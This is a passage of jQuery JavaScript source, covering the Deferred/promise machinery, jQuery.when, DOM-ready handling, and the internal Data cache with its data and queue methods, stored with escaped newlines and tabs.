arguments\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} );\n\t\t\t\t\t\t} );\n\t\t\t\t\t\tfns = null;\n\t\t\t\t\t} ).promise();\n\t\t\t\t},\n\t\t\t\tthen: function( onFulfilled, onRejected, onProgress ) {\n\t\t\t\t\tvar maxDepth = 0;\n\t\t\t\t\tfunction resolve( depth, deferred, handler, special ) {\n\t\t\t\t\t\treturn function() {\n\t\t\t\t\t\t\tvar that = this,\n\t\t\t\t\t\t\t\targs = arguments,\n\t\t\t\t\t\t\t\tmightThrow = function() {\n\t\t\t\t\t\t\t\t\tvar returned, then;\n\n\t\t\t\t\t\t\t\t\t// Support: Promises/A+ section 2.3.3.3.3\n\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-59\n\t\t\t\t\t\t\t\t\t// Ignore double-resolution attempts\n\t\t\t\t\t\t\t\t\tif ( depth < maxDepth ) {\n\t\t\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\treturned = handler.apply( that, args );\n\n\t\t\t\t\t\t\t\t\t// Support: Promises/A+ section 2.3.1\n\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-48\n\t\t\t\t\t\t\t\t\tif ( returned === deferred.promise() ) {\n\t\t\t\t\t\t\t\t\t\tthrow new TypeError( \"Thenable self-resolution\" );\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t// Support: Promises/A+ sections 2.3.3.1, 3.5\n\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-54\n\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-75\n\t\t\t\t\t\t\t\t\t// Retrieve `then` only once\n\t\t\t\t\t\t\t\t\tthen = returned &&\n\n\t\t\t\t\t\t\t\t\t\t// Support: Promises/A+ section 2.3.4\n\t\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-64\n\t\t\t\t\t\t\t\t\t\t// Only check objects and functions for thenability\n\t\t\t\t\t\t\t\t\t\t( typeof returned === \"object\" ||\n\t\t\t\t\t\t\t\t\t\t\ttypeof returned === \"function\" ) &&\n\t\t\t\t\t\t\t\t\t\treturned.then;\n\n\t\t\t\t\t\t\t\t\t// Handle a returned thenable\n\t\t\t\t\t\t\t\t\tif ( isFunction( then ) ) {\n\n\t\t\t\t\t\t\t\t\t\t// Special processors (notify) just wait for resolution\n\t\t\t\t\t\t\t\t\t\tif ( special ) {\n\t\t\t\t\t\t\t\t\t\t\tthen.call(\n\t\t\t\t\t\t\t\t\t\t\t\treturned,\n\t\t\t\t\t\t\t\t\t\t\t\tresolve( maxDepth, deferred, Identity, special ),\n\t\t\t\t\t\t\t\t\t\t\t\tresolve( maxDepth, deferred, Thrower, special )\n\t\t\t\t\t\t\t\t\t\t\t);\n\n\t\t\t\t\t\t\t\t\t\t// Normal processors (resolve) also hook into progress\n\t\t\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\t\t\t// ...and disregard older resolution values\n\t\t\t\t\t\t\t\t\t\t\tmaxDepth++;\n\n\t\t\t\t\t\t\t\t\t\t\tthen.call(\n\t\t\t\t\t\t\t\t\t\t\t\treturned,\n\t\t\t\t\t\t\t\t\t\t\t\tresolve( maxDepth, deferred, Identity, special ),\n\t\t\t\t\t\t\t\t\t\t\t\tresolve( maxDepth, deferred, Thrower, special ),\n\t\t\t\t\t\t\t\t\t\t\t\tresolve( maxDepth, deferred, Identity,\n\t\t\t\t\t\t\t\t\t\t\t\t\tdeferred.notifyWith )\n\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t// Handle all other returned values\n\t\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\t\t// Only substitute handlers pass on context\n\t\t\t\t\t\t\t\t\t\t// and multiple values (non-spec behavior)\n\t\t\t\t\t\t\t\t\t\tif ( handler !== Identity ) {\n\t\t\t\t\t\t\t\t\t\t\tthat = undefined;\n\t\t\t\t\t\t\t\t\t\t\targs = [ returned ];\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t// Process the value(s)\n\t\t\t\t\t\t\t\t\t\t// Default process is resolve\n\t\t\t\t\t\t\t\t\t\t( special || deferred.resolveWith )( that, args );\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t},\n\n\t\t\t\t\t\t\t\t// Only normal processors (resolve) catch and reject exceptions\n\t\t\t\t\t\t\t\tprocess = special ?\n\t\t\t\t\t\t\t\t\tmightThrow :\n\t\t\t\t\t\t\t\t\tfunction() {\n\t\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\t\tmightThrow();\n\t\t\t\t\t\t\t\t\t\t} catch ( e ) {\n\n\t\t\t\t\t\t\t\t\t\t\tif ( jQuery.Deferred.exceptionHook ) {\n\t\t\t\t\t\t\t\t\t\t\t\tjQuery.Deferred.exceptionHook( e,\n\t\t\t\t\t\t\t\t\t\t\t\t\tprocess.error );\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t// Support: Promises/A+ section 2.3.3.3.4.1\n\t\t\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-61\n\t\t\t\t\t\t\t\t\t\t\t// Ignore post-resolution exceptions\n\t\t\t\t\t\t\t\t\t\t\tif ( depth + 1 >= maxDepth ) {\n\n\t\t\t\t\t\t\t\t\t\t\t\t// Only substitute handlers pass on context\n\t\t\t\t\t\t\t\t\t\t\t\t// and multiple values (non-spec behavior)\n\t\t\t\t\t\t\t\t\t\t\t\tif ( handler !== Thrower ) {\n\t\t\t\t\t\t\t\t\t\t\t\t\tthat = undefined;\n\t\t\t\t\t\t\t\t\t\t\t\t\targs = [ e ];\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\tdeferred.rejectWith( that, args );\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t};\n\n\t\t\t\t\t\t\t// Support: Promises/A+ section 2.3.3.3.1\n\t\t\t\t\t\t\t// https://promisesaplus.com/#point-57\n\t\t\t\t\t\t\t// Re-resolve promises immediately to dodge false rejection from\n\t\t\t\t\t\t\t// subsequent errors\n\t\t\t\t\t\t\tif ( depth ) {\n\t\t\t\t\t\t\t\tprocess();\n\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t// Call an optional hook to record the error, in case of exception\n\t\t\t\t\t\t\t\t// since it's otherwise lost when execution goes async\n\t\t\t\t\t\t\t\tif ( jQuery.Deferred.getErrorHook ) {\n\t\t\t\t\t\t\t\t\tprocess.error = jQuery.Deferred.getErrorHook();\n\n\t\t\t\t\t\t\t\t// The deprecated alias of the above. While the name suggests\n\t\t\t\t\t\t\t\t// returning the stack, not an error instance, jQuery just passes\n\t\t\t\t\t\t\t\t// it directly to `console.warn` so both will work; an instance\n\t\t\t\t\t\t\t\t// just better cooperates with source maps.\n\t\t\t\t\t\t\t\t} else if ( jQuery.Deferred.getStackHook ) {\n\t\t\t\t\t\t\t\t\tprocess.error = jQuery.Deferred.getStackHook();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\twindow.setTimeout( process );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\n\t\t\t\t\treturn jQuery.Deferred( function( newDefer ) {\n\n\t\t\t\t\t\t// progress_handlers.add( ... )\n\t\t\t\t\t\ttuples[ 0 ][ 3 ].add(\n\t\t\t\t\t\t\tresolve(\n\t\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\t\tnewDefer,\n\t\t\t\t\t\t\t\tisFunction( onProgress ) ?\n\t\t\t\t\t\t\t\t\tonProgress :\n\t\t\t\t\t\t\t\t\tIdentity,\n\t\t\t\t\t\t\t\tnewDefer.notifyWith\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\t// fulfilled_handlers.add( ... )\n\t\t\t\t\t\ttuples[ 1 ][ 3 ].add(\n\t\t\t\t\t\t\tresolve(\n\t\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\t\tnewDefer,\n\t\t\t\t\t\t\t\tisFunction( onFulfilled ) ?\n\t\t\t\t\t\t\t\t\tonFulfilled :\n\t\t\t\t\t\t\t\t\tIdentity\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\t// rejected_handlers.add( ... )\n\t\t\t\t\t\ttuples[ 2 ][ 3 ].add(\n\t\t\t\t\t\t\tresolve(\n\t\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\t\tnewDefer,\n\t\t\t\t\t\t\t\tisFunction( onRejected ) ?\n\t\t\t\t\t\t\t\t\tonRejected :\n\t\t\t\t\t\t\t\t\tThrower\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\t\t\t\t\t} ).promise();\n\t\t\t\t},\n\n\t\t\t\t// Get a promise for this deferred\n\t\t\t\t// If obj is provided, the promise aspect is added to the object\n\t\t\t\tpromise: function( obj ) {\n\t\t\t\t\treturn obj != null ? jQuery.extend( obj, promise ) : promise;\n\t\t\t\t}\n\t\t\t},\n\t\t\tdeferred = {};\n\n\t\t// Add list-specific methods\n\t\tjQuery.each( tuples, function( i, tuple ) {\n\t\t\tvar list = tuple[ 2 ],\n\t\t\t\tstateString = tuple[ 5 ];\n\n\t\t\t// promise.progress = list.add\n\t\t\t// promise.done = list.add\n\t\t\t// promise.fail = list.add\n\t\t\tpromise[ tuple[ 1 ] ] = list.add;\n\n\t\t\t// Handle state\n\t\t\tif ( stateString ) {\n\t\t\t\tlist.add(\n\t\t\t\t\tfunction() {\n\n\t\t\t\t\t\t// state = \"resolved\" (i.e., fulfilled)\n\t\t\t\t\t\t// state = \"rejected\"\n\t\t\t\t\t\tstate = stateString;\n\t\t\t\t\t},\n\n\t\t\t\t\t// rejected_callbacks.disable\n\t\t\t\t\t// fulfilled_callbacks.disable\n\t\t\t\t\ttuples[ 3 - i ][ 2 ].disable,\n\n\t\t\t\t\t// rejected_handlers.disable\n\t\t\t\t\t// fulfilled_handlers.disable\n\t\t\t\t\ttuples[ 3 - i ][ 3 ].disable,\n\n\t\t\t\t\t// progress_callbacks.lock\n\t\t\t\t\ttuples[ 0 ][ 2 ].lock,\n\n\t\t\t\t\t// progress_handlers.lock\n\t\t\t\t\ttuples[ 0 ][ 3 ].lock\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t// progress_handlers.fire\n\t\t\t// fulfilled_handlers.fire\n\t\t\t// rejected_handlers.fire\n\t\t\tlist.add( tuple[ 3 ].fire );\n\n\t\t\t// deferred.notify = function() { deferred.notifyWith(...) }\n\t\t\t// deferred.resolve = function() { deferred.resolveWith(...) }\n\t\t\t// deferred.reject = function() { deferred.rejectWith(...) }\n\t\t\tdeferred[ tuple[ 0 ] ] = function() {\n\t\t\t\tdeferred[ tuple[ 0 ] + \"With\" ]( this === deferred ? undefined : this, arguments );\n\t\t\t\treturn this;\n\t\t\t};\n\n\t\t\t// deferred.notifyWith = list.fireWith\n\t\t\t// deferred.resolveWith = list.fireWith\n\t\t\t// deferred.rejectWith = list.fireWith\n\t\t\tdeferred[ tuple[ 0 ] + \"With\" ] = list.fireWith;\n\t\t} );\n\n\t\t// Make the deferred a promise\n\t\tpromise.promise( deferred );\n\n\t\t// Call given func if any\n\t\tif ( func ) {\n\t\t\tfunc.call( deferred, deferred );\n\t\t}\n\n\t\t// All done!\n\t\treturn deferred;\n\t},\n\n\t// Deferred helper\n\twhen: function( singleValue ) {\n\t\tvar\n\n\t\t\t// count of uncompleted subordinates\n\t\t\tremaining = arguments.length,\n\n\t\t\t// count of unprocessed arguments\n\t\t\ti = remaining,\n\n\t\t\t// subordinate fulfillment data\n\t\t\tresolveContexts = Array( i ),\n\t\t\tresolveValues = slice.call( arguments ),\n\n\t\t\t// the primary Deferred\n\t\t\tprimary = jQuery.Deferred(),\n\n\t\t\t// subordinate callback factory\n\t\t\tupdateFunc = function( i ) {\n\t\t\t\treturn function( value ) {\n\t\t\t\t\tresolveContexts[ i ] = this;\n\t\t\t\t\tresolveValues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value;\n\t\t\t\t\tif ( !( --remaining ) ) {\n\t\t\t\t\t\tprimary.resolveWith( resolveContexts, resolveValues );\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t};\n\n\t\t// Single- and empty arguments are adopted like Promise.resolve\n\t\tif ( remaining <= 1 ) {\n\t\t\tadoptValue( singleValue, primary.done( updateFunc( i ) ).resolve, primary.reject,\n\t\t\t\t!remaining );\n\n\t\t\t// Use .then() to unwrap secondary thenables (cf. gh-3000)\n\t\t\tif ( primary.state() === \"pending\" ||\n\t\t\t\tisFunction( resolveValues[ i ] && resolveValues[ i ].then ) ) {\n\n\t\t\t\treturn primary.then();\n\t\t\t}\n\t\t}\n\n\t\t// Multiple arguments are aggregated like Promise.all array elements\n\t\twhile ( i-- ) {\n\t\t\tadoptValue( resolveValues[ i ], updateFunc( i ), primary.reject );\n\t\t}\n\n\t\treturn primary.promise();\n\t}\n} );\n\n\n// These usually indicate a programmer mistake during development,\n// warn about them ASAP rather than swallowing them by default.\nvar rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;\n\n// If `jQuery.Deferred.getErrorHook` is defined, `asyncError` is an error\n// captured before the async barrier to get the original error cause\n// which may otherwise be hidden.\njQuery.Deferred.exceptionHook = function( error, asyncError ) {\n\n\t// Support: IE 8 - 9 only\n\t// Console exists when dev tools are open, which can happen at any time\n\tif ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) {\n\t\twindow.console.warn( \"jQuery.Deferred exception: \" + error.message,\n\t\t\terror.stack, asyncError );\n\t}\n};\n\n\n\n\njQuery.readyException = function( error ) {\n\twindow.setTimeout( function() {\n\t\tthrow error;\n\t} );\n};\n\n\n\n\n// The deferred used on DOM ready\nvar readyList = jQuery.Deferred();\n\njQuery.fn.ready = function( fn ) {\n\n\treadyList\n\t\t.then( fn )\n\n\t\t// Wrap jQuery.readyException in a function so that the lookup\n\t\t// happens at the time of error handling instead of callback\n\t\t// registration.\n\t\t.catch( function( error ) {\n\t\t\tjQuery.readyException( error );\n\t\t} );\n\n\treturn this;\n};\n\njQuery.extend( {\n\n\t// Is the DOM ready to be used? Set to true once it occurs.\n\tisReady: false,\n\n\t// A counter to track how many items to wait for before\n\t// the ready event fires. See trac-6781\n\treadyWait: 1,\n\n\t// Handle when the DOM is ready\n\tready: function( wait ) {\n\n\t\t// Abort if there are pending holds or we're already ready\n\t\tif ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Remember that the DOM is ready\n\t\tjQuery.isReady = true;\n\n\t\t// If a normal DOM Ready event fired, decrement, and wait if need be\n\t\tif ( wait !== true && --jQuery.readyWait > 0 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// If there are functions bound, to execute\n\t\treadyList.resolveWith( document, [ jQuery ] );\n\t}\n} );\n\njQuery.ready.then = readyList.then;\n\n// The ready event handler and self cleanup method\nfunction completed() {\n\tdocument.removeEventListener( \"DOMContentLoaded\", completed );\n\twindow.removeEventListener( \"load\", completed );\n\tjQuery.ready();\n}\n\n// Catch cases where $(document).ready() is called\n// after the browser event has already occurred.\n// Support: IE <=9 - 10 only\n// Older IE sometimes signals \"interactive\" too soon\nif ( document.readyState === \"complete\" ||\n\t( document.readyState !== \"loading\" && !document.documentElement.doScroll ) ) {\n\n\t// Handle it asynchronously to allow scripts the opportunity to delay ready\n\twindow.setTimeout( jQuery.ready );\n\n} else {\n\n\t// Use the handy event callback\n\tdocument.addEventListener( \"DOMContentLoaded\", completed );\n\n\t// A fallback to window.onload, that will always work\n\twindow.addEventListener( \"load\", completed );\n}\n\n\n\n\n// Multifunctional method to get and set values of a collection\n// The value/s can optionally be executed if it's a function\nvar access = function( elems, fn, key, value, chainable, emptyGet, raw ) {\n\tvar i = 0,\n\t\tlen = elems.length,\n\t\tbulk = key == null;\n\n\t// Sets many values\n\tif ( toType( key ) === \"object\" ) {\n\t\tchainable = true;\n\t\tfor ( i in key ) {\n\t\t\taccess( elems, fn, i, key[ i ], true, emptyGet, raw );\n\t\t}\n\n\t// Sets one value\n\t} else if ( value !== undefined ) {\n\t\tchainable = true;\n\n\t\tif ( !isFunction( value ) ) {\n\t\t\traw = true;\n\t\t}\n\n\t\tif ( bulk ) {\n\n\t\t\t// Bulk operations run against the entire set\n\t\t\tif ( raw ) {\n\t\t\t\tfn.call( elems, value );\n\t\t\t\tfn = null;\n\n\t\t\t// ...except when executing function values\n\t\t\t} else {\n\t\t\t\tbulk = fn;\n\t\t\t\tfn = function( elem, _key, value ) {\n\t\t\t\t\treturn bulk.call( jQuery( elem ), value );\n\t\t\t\t};\n\t\t\t}\n\t\t}\n\n\t\tif ( fn ) {\n\t\t\tfor ( ; i < len; i++ ) {\n\t\t\t\tfn(\n\t\t\t\t\telems[ i ], key, raw ?\n\t\t\t\t\t\tvalue :\n\t\t\t\t\t\tvalue.call( elems[ i ], i, fn( elems[ i ], key ) )\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t}\n\n\tif ( chainable ) {\n\t\treturn elems;\n\t}\n\n\t// Gets\n\tif ( bulk ) {\n\t\treturn fn.call( elems );\n\t}\n\n\treturn len ? fn( elems[ 0 ], key ) : emptyGet;\n};\n\n\n// Matches dashed string for camelizing\nvar rmsPrefix = /^-ms-/,\n\trdashAlpha = /-([a-z])/g;\n\n// Used by camelCase as callback to replace()\nfunction fcamelCase( _all, letter ) {\n\treturn letter.toUpperCase();\n}\n\n// Convert dashed to camelCase; used by the css and data modules\n// Support: IE <=9 - 11, Edge 12 - 15\n// Microsoft forgot to hump their vendor prefix (trac-9572)\nfunction camelCase( string ) {\n\treturn string.replace( rmsPrefix, \"ms-\" ).replace( rdashAlpha, fcamelCase );\n}\nvar acceptData = function( owner ) {\n\n\t// Accepts only:\n\t// - Node\n\t// - Node.ELEMENT_NODE\n\t// - Node.DOCUMENT_NODE\n\t// - Object\n\t// - Any\n\treturn owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );\n};\n\n\n\n\nfunction Data() {\n\tthis.expando = jQuery.expando + Data.uid++;\n}\n\nData.uid = 1;\n\nData.prototype = {\n\n\tcache: function( owner ) {\n\n\t\t// Check if the owner object already has a cache\n\t\tvar value = owner[ this.expando ];\n\n\t\t// If not, create one\n\t\tif ( !value ) {\n\t\t\tvalue = {};\n\n\t\t\t// We can accept data for non-element nodes in modern browsers,\n\t\t\t// but we should not, see trac-8335.\n\t\t\t// Always return an empty object.\n\t\t\tif ( acceptData( owner ) ) {\n\n\t\t\t\t// If it is a node unlikely to be stringify-ed or looped over\n\t\t\t\t// use plain assignment\n\t\t\t\tif ( owner.nodeType ) {\n\t\t\t\t\towner[ this.expando ] = value;\n\n\t\t\t\t// Otherwise secure it in a non-enumerable property\n\t\t\t\t// configurable must be true to allow the property to be\n\t\t\t\t// deleted when data is removed\n\t\t\t\t} else {\n\t\t\t\t\tObject.defineProperty( owner, this.expando, {\n\t\t\t\t\t\tvalue: value,\n\t\t\t\t\t\tconfigurable: true\n\t\t\t\t\t} );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn value;\n\t},\n\tset: function( owner, data, value ) {\n\t\tvar prop,\n\t\t\tcache = this.cache( owner );\n\n\t\t// Handle: [ owner, key, value ] args\n\t\t// Always use camelCase key (gh-2257)\n\t\tif ( typeof data === \"string\" ) {\n\t\t\tcache[ camelCase( data ) ] = value;\n\n\t\t// Handle: [ owner, { properties } ] args\n\t\t} else {\n\n\t\t\t// Copy the properties one-by-one to the cache object\n\t\t\tfor ( prop in data ) {\n\t\t\t\tcache[ camelCase( prop ) ] = data[ prop ];\n\t\t\t}\n\t\t}\n\t\treturn cache;\n\t},\n\tget: function( owner, key ) {\n\t\treturn key === undefined ?\n\t\t\tthis.cache( owner ) :\n\n\t\t\t// Always use camelCase key (gh-2257)\n\t\t\towner[ this.expando ] && owner[ this.expando ][ camelCase( key ) ];\n\t},\n\taccess: function( owner, key, value ) {\n\n\t\t// In cases where either:\n\t\t//\n\t\t// 1. No key was specified\n\t\t// 2. A string key was specified, but no value provided\n\t\t//\n\t\t// Take the \"read\" path and allow the get method to determine\n\t\t// which value to return, respectively either:\n\t\t//\n\t\t// 1. The entire cache object\n\t\t// 2. The data stored at the key\n\t\t//\n\t\tif ( key === undefined ||\n\t\t\t\t( ( key && typeof key === \"string\" ) && value === undefined ) ) {\n\n\t\t\treturn this.get( owner, key );\n\t\t}\n\n\t\t// When the key is not a string, or both a key and value\n\t\t// are specified, set or extend (existing objects) with either:\n\t\t//\n\t\t// 1. An object of properties\n\t\t// 2. A key and value\n\t\t//\n\t\tthis.set( owner, key, value );\n\n\t\t// Since the \"set\" path can have two possible entry points\n\t\t// return the expected data based on which path was taken[*]\n\t\treturn value !== undefined ? value : key;\n\t},\n\tremove: function( owner, key ) {\n\t\tvar i,\n\t\t\tcache = owner[ this.expando ];\n\n\t\tif ( cache === undefined ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( key !== undefined ) {\n\n\t\t\t// Support array or space separated string of keys\n\t\t\tif ( Array.isArray( key ) ) {\n\n\t\t\t\t// If key is an array of keys...\n\t\t\t\t// We always set camelCase keys, so remove that.\n\t\t\t\tkey = key.map( camelCase );\n\t\t\t} else {\n\t\t\t\tkey = camelCase( key );\n\n\t\t\t\t// If a key with the spaces exists, use it.\n\t\t\t\t// Otherwise, create an array by matching non-whitespace\n\t\t\t\tkey = key in cache ?\n\t\t\t\t\t[ key ] :\n\t\t\t\t\t( key.match( rnothtmlwhite ) || [] );\n\t\t\t}\n\n\t\t\ti = key.length;\n\n\t\t\twhile ( i-- ) {\n\t\t\t\tdelete cache[ key[ i ] ];\n\t\t\t}\n\t\t}\n\n\t\t// Remove the expando if there's no more data\n\t\tif ( key === undefined || jQuery.isEmptyObject( cache ) ) {\n\n\t\t\t// Support: Chrome <=35 - 45\n\t\t\t// Webkit & Blink performance suffers when deleting properties\n\t\t\t// from DOM nodes, so set to undefined instead\n\t\t\t// https://bugs.chromium.org/p/chromium/issues/detail?id=378607 (bug restricted)\n\t\t\tif ( owner.nodeType ) {\n\t\t\t\towner[ this.expando ] = undefined;\n\t\t\t} else {\n\t\t\t\tdelete owner[ this.expando ];\n\t\t\t}\n\t\t}\n\t},\n\thasData: function( owner ) {\n\t\tvar cache = owner[ this.expando ];\n\t\treturn cache !== undefined && !jQuery.isEmptyObject( cache );\n\t}\n};\nvar dataPriv = new Data();\n\nvar dataUser = new Data();\n\n\n\n//\tImplementation Summary\n//\n//\t1. Enforce API surface and semantic compatibility with 1.9.x branch\n//\t2. Improve the module's maintainability by reducing the storage\n//\t\tpaths to a single mechanism.\n//\t3. Use the same single mechanism to support \"private\" and \"user\" data.\n//\t4. _Never_ expose \"private\" data to user code (TODO: Drop _data, _removeData)\n//\t5. Avoid exposing implementation details on user objects (eg. expando properties)\n//\t6. Provide a clear path for implementation upgrade to WeakMap in 2014\n\nvar rbrace = /^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,\n\trmultiDash = /[A-Z]/g;\n\nfunction getData( data ) {\n\tif ( data === \"true\" ) {\n\t\treturn true;\n\t}\n\n\tif ( data === \"false\" ) {\n\t\treturn false;\n\t}\n\n\tif ( data === \"null\" ) {\n\t\treturn null;\n\t}\n\n\t// Only convert to a number if it doesn't change the string\n\tif ( data === +data + \"\" ) {\n\t\treturn +data;\n\t}\n\n\tif ( rbrace.test( data ) ) {\n\t\treturn JSON.parse( data );\n\t}\n\n\treturn data;\n}\n\nfunction dataAttr( elem, key, data ) {\n\tvar name;\n\n\t// If nothing was found internally, try to fetch any\n\t// data from the HTML5 data-* attribute\n\tif ( data === undefined && elem.nodeType === 1 ) {\n\t\tname = \"data-\" + key.replace( rmultiDash, \"-$&\" ).toLowerCase();\n\t\tdata = elem.getAttribute( name );\n\n\t\tif ( typeof data === \"string\" ) {\n\t\t\ttry {\n\t\t\t\tdata = getData( data );\n\t\t\t} catch ( e ) {}\n\n\t\t\t// Make sure we set the data so it isn't changed later\n\t\t\tdataUser.set( elem, key, data );\n\t\t} else {\n\t\t\tdata = undefined;\n\t\t}\n\t}\n\treturn data;\n}\n\njQuery.extend( {\n\thasData: function( elem ) {\n\t\treturn dataUser.hasData( elem ) || dataPriv.hasData( elem );\n\t},\n\n\tdata: function( elem, name, data ) {\n\t\treturn dataUser.access( elem, name, data );\n\t},\n\n\tremoveData: function( elem, name ) {\n\t\tdataUser.remove( elem, name );\n\t},\n\n\t// TODO: Now that all calls to _data and _removeData have been replaced\n\t// with direct calls to dataPriv methods, these can be deprecated.\n\t_data: function( elem, name, data ) {\n\t\treturn dataPriv.access( elem, name, data );\n\t},\n\n\t_removeData: function( elem, name ) {\n\t\tdataPriv.remove( elem, name );\n\t}\n} );\n\njQuery.fn.extend( {\n\tdata: function( key, value ) {\n\t\tvar i, name, data,\n\t\t\telem = this[ 0 ],\n\t\t\tattrs = elem && elem.attributes;\n\n\t\t// Gets all values\n\t\tif ( key === undefined ) {\n\t\t\tif ( this.length ) {\n\t\t\t\tdata = dataUser.get( elem );\n\n\t\t\t\tif ( elem.nodeType === 1 && !dataPriv.get( elem, \"hasDataAttrs\" ) ) {\n\t\t\t\t\ti = attrs.length;\n\t\t\t\t\twhile ( i-- ) {\n\n\t\t\t\t\t\t// Support: IE 11 only\n\t\t\t\t\t\t// The attrs elements can be null (trac-14894)\n\t\t\t\t\t\tif ( attrs[ i ] ) {\n\t\t\t\t\t\t\tname = attrs[ i ].name;\n\t\t\t\t\t\t\tif ( name.indexOf( \"data-\" ) === 0 ) {\n\t\t\t\t\t\t\t\tname = camelCase( name.slice( 5 ) );\n\t\t\t\t\t\t\t\tdataAttr( elem, name, data[ name ] );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tdataPriv.set( elem, \"hasDataAttrs\", true );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn data;\n\t\t}\n\n\t\t// Sets multiple values\n\t\tif ( typeof key === \"object\" ) {\n\t\t\treturn this.each( function() {\n\t\t\t\tdataUser.set( this, key );\n\t\t\t} );\n\t\t}\n\n\t\treturn access( this, function( value ) {\n\t\t\tvar data;\n\n\t\t\t// The calling jQuery object (element matches) is not empty\n\t\t\t// (and therefore has an element appears at this[ 0 ]) and the\n\t\t\t// `value` parameter was not undefined. An empty jQuery object\n\t\t\t// will result in `undefined` for elem = this[ 0 ] which will\n\t\t\t// throw an exception if an attempt to read a data cache is made.\n\t\t\tif ( elem && value === undefined ) {\n\n\t\t\t\t// Attempt to get data from the cache\n\t\t\t\t// The key will always be camelCased in Data\n\t\t\t\tdata = dataUser.get( elem, key );\n\t\t\t\tif ( data !== undefined ) {\n\t\t\t\t\treturn data;\n\t\t\t\t}\n\n\t\t\t\t// Attempt to \"discover\" the data in\n\t\t\t\t// HTML5 custom data-* attrs\n\t\t\t\tdata = dataAttr( elem, key );\n\t\t\t\tif ( data !== undefined ) {\n\t\t\t\t\treturn data;\n\t\t\t\t}\n\n\t\t\t\t// We tried really hard, but the data doesn't exist.\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Set the data...\n\t\t\tthis.each( function() {\n\n\t\t\t\t// We always store the camelCased key\n\t\t\t\tdataUser.set( this, key, value );\n\t\t\t} );\n\t\t}, null, value, arguments.length > 1, null, true );\n\t},\n\n\tremoveData: function( key ) {\n\t\treturn this.each( function() {\n\t\t\tdataUser.remove( this, key );\n\t\t} );\n\t}\n} );\n\n\njQuery.extend( {\n\tqueue: function( elem, type, data ) {\n\t\tvar queue;\n\n\t\tif ( elem ) {\n\t\t\ttype = ( type || \"fx\" ) + \"queue\";\n\t\t\tqueue = dataPriv.get( elem, type );\n\n\t\t\t// Speed up dequeue by getting out quickly if this is just a lookup\n\t\t\tif ( data ) {\n\t\t\t\tif ( !queue || Array.isArray( data ) ) {\n\t\t\t\t\tqueue = dataPriv.access( elem, type, jQuery.makeArray( data ) );\n\t\t\t\t} else {\n\t\t\t\t\tqueue.push( data );\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn queue || [];\n\t\t}\n\t},\n\n\tdequeue: function( elem, type ) {\n\t\ttype = type || \"fx\";\n\n\t\tvar queue = jQuery.queue( elem, type ),\n\t\t\tstartLength = queue.length,\n\t\t\tfn = queue.shift(),\n\t\t\thooks = jQuery._queueHooks( elem, type ),\n\t\t\tnext = function() {\n\t\t\t\tjQuery.dequeue( elem, type );\n\t\t\t};\n\n\t\t// If the fx queue is dequeued, always remove the progress sentinel\n\t\tif ( fn === \"inprogress\" ) {\n\t\t\tfn = queue.shift();\n\t\t\tstartLength--;\n\t\t}\n\n\t\tif ( fn ) {\n\n\t\t\t// Add a progress sentinel to prevent the fx queue from being\n\t\t\t// automatically dequeued\n\t\t\tif ( type === \"fx\" ) {\n\t\t\t\tqueue.unshift( \"inprogress\" );\n\t\t\t}\n\n\t\t\t// Clear up the last queue stop function\n\t\t\tdelete hooks.stop;\n\t\t\tfn.call( elem, next, hooks );\n\t\t}\n\n\t\tif ( !startLength && hooks ) {\n\t\t\thooks.empty.fire();\n\t\t}\n\t},\n\n\t// Not public - generate a queueHooks object, or return the current one\n\t_queueHooks: function( elem, type ) {\n\t\tvar key = type + 